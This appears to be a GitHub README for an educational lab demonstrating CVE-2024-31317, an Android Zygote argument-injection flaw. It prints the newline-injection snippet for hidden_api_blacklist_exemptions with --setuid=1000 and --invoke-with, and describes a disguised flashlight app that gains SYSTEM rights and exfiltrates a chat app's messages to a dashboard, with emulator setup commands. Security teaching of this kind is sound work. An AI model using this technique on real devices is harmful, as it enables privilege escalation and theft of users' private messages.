Educational demonstration of CVE-2024-31317 Zygote Injection Vulnerability on Android
This lab demonstrates CVE-2024-31317, a critical Android vulnerability that allows a malicious app to escalate privileges to SYSTEM level (UID 1000) and bypass the Android sandbox to read data from other applications in real-time.
| Stage | Description | Visual |
|---|---|---|
| 1 | User installs innocent-looking "Flashlight Pro" app | π¦ |
| 2 | App exploits CVE-2024-31317 to gain SYSTEM access | π |
| 3 | SYSTEM-level service reads "SecureChat" messages | ποΈ |
| 4 | Stolen messages appear on live dashboard | π |
ZygoteExploitDemo/
βββ π± apps/
β βββ SecureChat/ # Victim app (Jetpack Compose)
β β βββ Encrypted messages stored in SQLite
β β βββ Simulates WhatsApp-style encryption
β β
β βββ FlashlightPro/ # Malicious app with exploit
β β βββ Normal flashlight UI (distraction)
β β βββ Background exploit service
β β βββ WRITE_SECURE_SETTINGS permission
β β
β βββ MonitorService/ # SYSTEM-level reader
β βββ Runs with UID 1000 after exploit
β βββ Reads SecureChat database
β βββ Exfiltrates to dashboard
β
βββ π dashboard/ # Flask web dashboard
β βββ app.py # Shows stolen messages live
β
βββ π scripts/ # Automation scripts
β βββ setup_vulnerable_emulator.sh
β βββ build_all_apps.sh
β βββ install_all_apps.sh
β βββ run_exploit.py
β βββ monitor_logs.sh
β
βββ π― exploits/ # Exploit information
β βββ CVE-2024-31317.md
β βββ payloads.txt
β
βββ π tamplates/ # Code templates
βββ exploit_template.java
βββ dashboard_template.html
CVE-2024-31317 exists in how Android's Zygote process handles the hidden_api_blacklist_exemptions system setting. Due to missing input sanitization, an attacker can inject newline characters to add arbitrary arguments to Zygote commands.
Attack Vector:
Settings.Global.putString(
contentResolver,
"hidden_api_blacklist_exemptions",
"LClass1;->method1(\n" +
"7\n" +
"--setuid=1000\n" + // Run as SYSTEM
"--setgid=1000\n" + // Run as SYSTEM group
"--invoke-with\n" +
"am start-service ...;\n"
);
| Version | Status |
|---|---|
| Android 9 - 14 | β Vulnerable (pre-June 2024 patch) |
| Android 14+ | β Patched (June 2024 security update) |
| Android 15+ | β Secure |
git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo
cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh
# Start the emulator
emulator -avd vulnerable_android_12
# In a new terminal
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh
cd ../dashboard
pip3 install flask flask-cors
python3 app.py
π± Open http://localhost:5000 in your browser
cd ../scripts
python3 run_exploit.py
π¬ Demo video coming soon
WRITE_SECURE_SETTINGS permission/data/data/com.securechat/databases/Contributions are welcome! Please:
Areas for contribution:
MIT License - See LICENSE file for details
Aman - @GitAmanS
If you found this educational, please give it a star! β
Made for security researchers, by a security researcher
Remember: With great power comes great responsibility π·οΈ